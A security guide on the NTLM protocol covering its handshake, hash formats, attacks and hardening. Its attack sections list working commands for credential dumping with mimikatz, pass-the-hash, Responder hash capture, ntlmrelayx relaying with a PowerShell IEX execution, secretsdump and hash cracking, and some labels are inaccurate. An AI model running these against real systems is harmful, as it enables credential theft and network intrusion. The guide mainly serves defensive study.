NTLM Authentication - The Protocol That Won't Die¶

NTLM is the authentication protocol Microsoft wishes would go away. Created in the 1990s, it was supposed to be replaced by Kerberos. But like a stubborn houseguest, it's still here, still being used, and still causing security problems.

Why NTLM Persists:

Every time Microsoft tries to deprecate NTLM, something breaks. Legacy applications depend on it. Certain network scenarios fall back to it. Service accounts authenticate with it. System processes use it. So NTLM remains, creating a significant attack surface that defenders must understand.

This guide covers how NTLM works (or tries to), why it's vulnerable, and how attackers exploit those vulnerabilities. If you're defending Active Directory, you need to know this protocol intimately - not because it's good, but because it's everywhere.

NTLM Protocol Overview ¶

NTLM operates on a simple premise: instead of sending passwords over the network, the client proves knowledge of the password by answering a cryptographic challenge. The server sends a random number (the challenge). The client combines this challenge with the password hash to create a response. The server verifies the response matches what it expected. Simple concept. Problematic execution.

How NTLM Evolved:

NTLMv1 - The Original: Created when "good enough" security was acceptable and attackers didn't have modern compute power. NTLMv1 uses weak cryptography (DES-based), splits passwords into 7-character chunks, and converts everything to uppercase. This makes it trivially crackable. A modern GPU can crack NTLMv1 responses in seconds.

NTLMv2 - The Improvement: Microsoft learned from their mistakes and created NTLMv2. It uses stronger cryptography (HMAC-MD5), includes timestamps to prevent replay attacks, and uses the full password hash. It's significantly more secure than v1, but still vulnerable to pass-the-hash and relay attacks.

Extended Protection - The Band-Aid: When Microsoft couldn't eliminate NTLM, they tried to patch it. Extended Protection adds: - EPA (Enhanced Protection for Authentication): Binds authentication to the TLS channel - MIC (Message Integrity Code): Prevents certain relay attacks - Channel Binding: Ties NTLM to the underlying secure channel

These help, but don't eliminate the fundamental issues with NTLM.

The Persistent Problem:

NTLM is used in more scenarios than most administrators realize:

# When Kerberos isn't available:
# - Workgroup authentication (no domain = no Kerberos)
# - Local system authentication (localhost scenarios)
# - Legacy applications that can't use Kerberos

# When Kerberos fails:
# - Network issues prevent KDC communication
# - Clock skew beyond tolerance
# - SPN misconfigurations
# - Cross-domain scenarios without proper trusts

# By design (unfortunately):
# - Some service accounts default to NTLM
# - SMB connections to IP addresses (not hostnames) use NTLM
# - Applications that explicitly request NTLM authentication

The Security Reality:

NTLM is fundamentally less secure than Kerberos because: - No mutual authentication: Clients can't verify servers are legitimate - Vulnerable to relay attacks: Attackers can intercept and replay NTLM authentication - No time limits: NTLM responses can be captured and reused (with limitations) - Weaker encryption: Even NTLMv2 uses older cryptographic primitives - No delegation support: Can't securely impersonate users across services

Microsoft's official stance is "use Kerberos whenever possible, disable NTLM when you can." But in practice, NTLM remains necessary for compatibility, making it a critical attack surface to understand.

NTLM Authentication Flow ¶

NTLM authentication is a three-message handshake. Simple in concept: prove you know the password without sending it. Execution is where problems arise.

The Three Messages:

Unlike Kerberos's six-step dance, NTLM keeps it simple: negotiate, challenge, authenticate. That simplicity is both its strength (easy to implement) and its weakness (easy to attack).

NTLM Authentication Process¶

# Message 1: Negotiate (Type 1)
# Client: "Hey server, I want to authenticate. I support NTLMv2, here are my capabilities"
# 
# Message 2: Challenge (Type 2)
# Server: "Okay, here's a random number (challenge). Prove you know the password."
#
# Message 3: Authenticate (Type 3)
# Client: "Here's my response - I combined your challenge with my password hash"
# Server: "Response matches what I expected. You're authenticated."

Detailed Flow Explanation - Breaking Down Each Message¶

Message 1: Negotiate (Type 1 Message)

The client initiates authentication by announcing what it supports: - Protocol versions (NTLMv1, NTLMv2, or both) - Capabilities (signing, sealing, key exchange options) - Domain/workstation name (optional) - OS version information (optional, but often sent)

This message doesn't contain any sensitive information - it's just announcing capabilities. Think of it as knocking on the door and saying "I'd like to come in, and I speak NTLMv2."

Message 2: Challenge (Type 2 Message)

The server responds with a challenge - a random number: - NTLMv1: 8-byte random challenge - NTLMv2: 16-byte random challenge (more secure) - Target information (domain, server name) - Supported authentication options

The challenge is crucial - it's what makes each authentication unique. Even if an attacker intercepts the Type 3 message (the response), they can't replay it because the next challenge will be different.

Important detail: The server generates this challenge. If an attacker controls the server (or can relay to a server they control), they can choose the challenge. This is the basis for NTLM relay attacks.

Message 3: Authenticate (Type 3 Message)

The client computes a response by combining: - User's NT hash (MD4 hash of the password) - Server challenge - Client challenge (for NTLMv2) - Timestamp (for NTLMv2) - Target information

The client sends this response to the server. The server computes the expected response (using the same algorithm and the password hash it has stored) and compares. If they match, authentication succeeds.

The Critical Vulnerability:

Here's where it gets interesting: the client sends the NT hash-derived response, but if an attacker intercepts the full Type 3 message, they can extract enough information to perform pass-the-hash attacks. Even worse, in relay attacks, an attacker can forward the Type 3 message to a different server, authenticating as the user to that second server.

NTLMv1 vs NTLMv2 - The Difference Matters:

NTLMv1 Response Calculation:

1. Password converted to uppercase (if case-insensitive)
2. Split into two 7-character halves
3. Each half used to create DES keys
4. DES encrypts the challenge twice
5. Concatenate results = NTLMv1 response

This is weak because: - DES encryption is broken - Password splitting makes it easier to crack - Case-insensitive passwords reduce keyspace

NTLMv2 Response Calculation:

1. Create HMAC-MD5 of (username + domain + password)
2. Create HMAC-MD5 of (challenge + timestamp + client challenge + target info)
3. Combine = NTLMv2 response

This is stronger because: - HMAC-MD5 is more secure than DES - Timestamp prevents replay (within limits) - Client challenge adds randomness - Full password used (not split)

Server Validation:

The server performs the same calculation using the stored NT hash and compares results. If they match exactly, authentication succeeds. No password transmitted. No password hash transmitted directly. But the response reveals enough about the password hash for attacks to work.

Why This Design is Vulnerable:

The fundamental issue: NTLM doesn't bind authentication to the session. An attacker who intercepts NTLM messages can: - Relay them to other servers (NTLM relay) - Extract hash information for offline cracking - Use hash information directly (pass-the-hash)

Compare this to Kerberos, which binds tickets to specific services and includes mutual authentication. NTLM's simplicity creates these vulnerabilities.

NTLM Hash Types and Formats ¶

Password Hash Formats¶

# LM Hash (LAN Manager Hash)
# - Legacy format, easily crackable
# - Converted to uppercase, split into 7-byte chunks
# - Disabled by default in modern Windows

# NT Hash (NTLM Hash)
# - MD4 hash of UTF-16LE encoded password
# - Stored in SAM database and NTDS.dit
# - Used for NTLM authentication

# NTLMv1 Response
# - Uses both LM and NT hashes
# - Vulnerable to various attacks

# NTLMv2 Response
# - Uses NT hash only
# - Includes timestamp and client challenge
# - More secure than NTLMv1

Hash Extraction Locations¶

# Local Security Authority (LSA) - lsass.exe memory
# Security Account Manager (SAM) database
# NTDS.dit - Active Directory database
# Group Policy Preferences (historically)
# Memory dumps and page files

Common NTLM Attacks ¶

Pass-the-Hash¶

# Extract hashes from memory
mimikatz # sekurlsa::logonpasswords

# Use extracted hash for authentication
mimikatz # sekurlsa::pth /user:username /domain:domain.com /ntlm:hash

# Alternative tools
Invoke-Mimikatz -Command '"sekurlsa::pth /user:admin /domain:corp /ntlm:hash"'

NTLM Relay Attacks¶

# Set up relay server
ntlmrelayx.py -t smb://target-server -smb2support

# Trigger authentication to relay
# Various methods: LLMNR/NBT-NS poisoning, HTTP links, etc.

NTLM Downgrade Attacks¶

# Force NTLMv1 usage
# Modify registry or network conditions to downgrade

# Capture and crack NTLMv1 hashes
# NTLMv1 hashes are easier to crack than NTLMv2

Net-NTLMv1/v2 Capture¶

# Use Responder to capture hashes
responder -I eth0 -wrf

# Or use Inveigh
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTPS Y

NTLM Relay Attacks ¶

SMB Relay¶

# Relay to SMB shares
ntlmrelayx.py -t smb://target-server -c "whoami"

# Dump SAM database
ntlmrelayx.py -t smb://target-server -smb2support -socks

# Execute commands
ntlmrelayx.py -t smb://target-server -c "powershell -ep bypass -c IEX(...)"

LDAP Relay¶

# Relay to LDAP for privilege escalation
ntlmrelayx.py -t ldap://domain-controller --escalate-user username

# Create golden ticket via LDAP
ntlmrelayx.py -t ldap://domain-controller --add-computer

HTTP Relay¶

# Relay to web applications
ntlmrelayx.py -t http://webapp.domain.com

# Specific web application attacks
# OWA, SharePoint, Exchange Web Services, etc.

Mitigation Bypasses¶

# Bypass EPA (Extended Protection for Authentication)
# Various techniques depending on application

# Bypass MIC (Message Integrity Code)
# Certain conditions allow MIC stripping

# Relay to vulnerable services
# Identify services that don't require signing

NTLM Enumeration Techniques ¶

NTLM Configuration Enumeration¶

# Check domain NTLM settings
Get-ADDomain | Select-Object DistinguishedName, DomainMode | Get-ADObject -Properties msDS-Behavior-Version

# Check individual computer settings
Get-ADComputer -Filter * -Properties OperatingSystem, OperatingSystemVersion | Select-Object Name, OperatingSystem, @{Name="NTLMv2Enforced";Expression={$_.OperatingSystemVersion -ge "6.1"}}

NTLM Usage Discovery¶

# Find systems using NTLM
# Event ID 4776: NTLM authentication attempts
Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4776]]" | Select-Object -First 10

# Check for NTLM fallback
# Event ID 4771: Kerberos authentication failure followed by NTLM

Service Enumeration¶

# Find services accepting NTLM
# SMB shares, web applications, etc.

# Network scanning for NTLM endpoints
nmap --script smb-security-mode.nse -p 445 target
nmap --script http-ntlm-info.nse -p 80,443 target

NTLM Hardening and Defense ¶

Best Practices¶

# Disable NTLMv1
# Group Policy: Network security: LAN Manager authentication level
# Set to "Send NTLMv2 response only. Refuse LM & NTLM"

# Enable SMB signing
# Group Policy: Microsoft network server: Digitally sign communications (always)
# Group Policy: Microsoft network client: Digitally sign communications (always)

# Enable LDAP signing
# Group Policy: Domain controller: LDAP server signing requirements
# Set to "Require signing"

Monitoring and Detection¶

# Monitor for NTLM authentication events
# Event ID 4776: NTLM authentication
# Look for unusual patterns or sources

# Monitor for NTLM relay attempts
# Event ID 4624: Account logon with logon type 3 (network)
# Correlate with network events

# Monitor for hash extraction attempts
# Event ID 4688: Process creation (lsass access)
# Look for suspicious tools accessing lsass

Advanced Protections¶

# Implement EPA (Extended Protection for Authentication)
# For web applications and services

# Use VPN or network segmentation
# Isolate critical systems from potential relay attacks

# Implement strong credential policies
# Regular password changes, no password reuse

NTLM vs Kerberos Comparison ¶

Security Comparison¶

# Kerberos Advantages:
# - Mutual authentication
# - Ticket-based (no password hash transmission)
# - Forward secrecy
# - Delegation capabilities
# - Better performance for repeated access

# NTLM Advantages:
# - Simpler implementation
# - Works in workgroup environments
# - No time synchronization requirement
# - Better for one-off access

When to Use Each¶

# Prefer Kerberos for:
# - Domain-joined systems
# - Repeated access to resources
# - Environments requiring delegation
# - High-security requirements

# NTLM may be necessary for:
# - Workgroup environments
# - Legacy systems
# - Certain applications
# - Fallback scenarios

Troubleshooting NTLM Issues ¶

Common Problems¶

# NTLM authentication failures
# Check time synchronization
# Check network connectivity
# Verify service status

# NTLM fallback issues
# Check Kerberos configuration
# Verify SPN registration
# Check DNS resolution

Diagnostic Tools¶

# netsh command for tracing
netsh trace start capture=yes scenario=netconnection maxsize=500 tracefile=C:\trace.etl

# Network monitoring
# Wireshark with NTLM dissection
# Filter for ntlmssp protocol

# Event logging
# Enable detailed NTLM logging
# HKLM\SYSTEM\CurrentControlSet\Control\Lsa\NTLM\Parameters
# LogLevel = 0x30000000

Tools for NTLM Analysis ¶

Offensive Tools¶

# Mimikatz - Hash extraction and pass-the-hash
mimikatz # sekurlsa::logonpasswords
mimikatz # sekurlsa::pth

# Responder - LLMNR/NBT-NS poisoning and hash capture
responder -I eth0 -wrf

# Impacket - NTLM relay and attack tools
ntlmrelayx.py -t smb://target
secretsdump.py -hashes :ntlm_hash domain/user@target

# Inveigh - PowerShell-based NTLM capture
Invoke-Inveigh -ConsoleOutput Y -NBNS Y

Defensive Tools¶

# Windows Event Log - Built-in NTLM monitoring
# Event ID 4776: NTLM authentication
# Event ID 4624: Logon events

# Elastic SIEM - Custom NTLM detection rules
# Alert on unusual NTLM patterns

# Splunk - NTLM security monitoring
# Pre-built queries for NTLM attacks

# Custom PowerShell scripts
# For continuous monitoring and analysis

Analysis Tools¶

# Hashcat - Password cracking
hashcat -m 1000 -a 0 ntlm_hashes.txt wordlist.txt

# John the Ripper - Password cracking
john --format=nt ntlm_hashes.txt

# Network analysis tools
# Wireshark, tcpdump for packet analysis

Conclusion¶

NTLM remains a critical component of Windows authentication despite its security limitations. Understanding NTLM vulnerabilities, attack techniques, and defense strategies is essential for both offensive security professionals and defenders.

Key takeaways: - NTLMv1 should be disabled whenever possible - NTLM relay attacks are particularly dangerous - Proper monitoring can detect NTLM-based attacks - Kerberos should be preferred over NTLM when possible - Defense-in-depth strategies are crucial for NTLM security

Regular security assessments should include NTLM vulnerability testing, and defensive strategies should focus on minimizing NTLM usage while properly securing necessary NTLM implementations.